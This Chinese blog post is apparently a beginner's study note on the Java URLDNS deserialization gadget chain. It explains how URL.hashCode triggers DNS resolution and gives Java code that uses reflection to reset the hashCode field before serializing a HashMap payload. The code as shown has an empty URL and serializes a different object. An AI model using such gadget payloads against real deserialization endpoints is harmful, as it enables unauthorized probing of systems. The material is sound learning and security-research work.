java代码审计,迈好人生第一步---UrlDns链子!

URLdns链的初次学习~

前情提要:师从b站白日梦组长,具体细节都可以去看他视频,均可复现下来

复现步骤

  1. 首先是发现URL实现了Serializable接口,存在反序列化利用危险函数的潜在危害
    然后看一个常见都存在的函数hashCode,发现URL类种存在该函数,然后点进去handler下的hashcode函数,发现有个getHostAddress函数,存在域名解析的危害即ssrf
2. 然后hashmap的put方法也可以调用hashcode方法,这里就存在同名函数可以替换的可能
3. 这时候如果使用hashmap的put方法,最后其实调用的是url类的hashcode方法,而不是put方法中的hashcode方法 但是我们观察发现url类的hashcode方法必须要hashcode的值为-1才行
4. 但是put方法中的hashcode方法会对传进去的url参数进行hash编码导致最后执行的时候hashcode的值不为-1,进而导致反序列化的时候不会域名解析
5. 这时候就需要用到反射,动态修改hashcode的值,使其在put方法之后hashcode的值仍然为-1,进而反序列化的时候可以域名解析
6. 这时候序列化的时候并不会发生域名解析,只有反序列化的时候hashcode的值为-1,进而导致域名解析即srf

最后的代码:

点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception{
        Person person=new Person("aa",22);
        //System.out.println(person);

        HashMap<URL,Integer>hashmap=new HashMap<URL,Integer>();
        //这里不要发起请求,先把url对象的hashcode改成不是-1
        URL url=new URL("");
        Class c=url.getClass();
        Field hashcodefield=c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);
        hashmap.put(url,1);
        //这里通过反射把hashcode改回-1
        hashcodefield.set(url,-1);

        serialize(person/*hashmap**/);
    }
}

最后自己做的图解(第一次做,有错误的地方还请各位大佬帮忙指点指点orz~)
posted @ 2025-01-13 21:00  Zephyr07  阅读(25)  评论(0)    收藏  举报